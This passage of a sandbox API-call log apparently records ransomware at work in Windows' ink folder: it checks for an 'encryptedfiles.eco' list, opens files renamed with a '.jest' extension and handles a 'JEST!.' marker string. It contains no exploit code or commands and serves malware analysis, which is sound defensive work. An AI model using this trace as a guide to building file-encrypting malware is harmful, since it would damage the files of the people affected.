Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpFilePart=0x18e870*="oskmenu.xml.jest") returned 0x51 [0121.065] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.066] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.066] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.jest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x34c [0121.067] GetFileType (hFile=0x34c) returned 0x1 [0121.067] IMalloc:Alloc (This=0x767666bc, cb=0x8e) returned 0x14cd308 [0121.067] GetUserDefaultLCID () returned 0x409 [0121.067] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18ea2c, cchData=6 | out: lpLCData="1252") returned 5 [0121.067] SysStringLen (param_1="JEST!.") returned 0x6 [0121.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0121.067] SysStringLen (param_1="JEST!.") returned 0x6 [0121.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=7, lpMultiByteStr=0x14aaba4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JEST!.", lpUsedDefaultChar=0x0) returned 7 [0121.069] SafeArrayDestroyDescriptor (psa=0x14da520) returned 0x0 [0121.069] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpUsedDefaultChar=0x0) returned 77 [0121.069] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpFilePart=0x18e6d8*="oskmenu.xml") returned 0x4c [0121.069] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x5c, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 0x143ce48 [0121.069] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.069] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpFilePart=0x18e780*="oskmenu.xml") returned 0x4c [0121.069] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.070] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.070] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.070] GetLastError () returned 0x5 [0121.070] GetLastError () returned 0x5 [0121.070] SetLastError (dwErrCode=0x5) [0121.070] GetLastError () returned 0x5 [0121.070] SetLastError (dwErrCode=0x5) [0121.070] GetLastError () returned 0x5 [0121.071] SetLastError (dwErrCode=0x5) [0121.071] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.071] GetLastError () returned 0x5 [0121.071] GetLastError () returned 0x5 [0121.071] SetLastError (dwErrCode=0x5) [0121.071] GetLastError () returned 0x5 [0121.071] SetLastError (dwErrCode=0x5) [0121.071] GetLastError () returned 0x5 [0121.071] SetLastError (dwErrCode=0x5) [0121.071] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x34c [0121.071] GetFileType (hFile=0x34c) returned 0x1 [0121.071] IMalloc:Alloc (This=0x767666bc, cb=0x89) returned 0x14cd308 [0121.071] FlushFileBuffers (hFile=0xe) returned 0 [0121.072] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.072] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpFilePart=0x18e780*="oskmenu.xml") returned 0x4c [0121.072] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.072] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.072] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.072] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.072] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.072] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.072] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.073] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.073] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.073] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.073] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.073] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0121.074] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.074] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x2e3)) [0121.074] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.074] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x2e3)) [0121.074] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x2e3)) [0121.074] GetUserDefaultLCID () returned 0x409 [0121.074] VarBstrFromR4 (in: fltIn=0x479442df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.74") returned 0x0 [0121.074] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0121.075] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.075] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", lpFilePart=0x18e780*="oskmenu.xml") returned 0x4c [0121.075] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.076] GetCurrentProcessId () returned 0x9e0 [0121.076] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.076] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.076] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.076] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.076] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.076] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.076] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.076] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.076] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.076] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.076] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.077] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.078] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.079] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.080] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.081] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 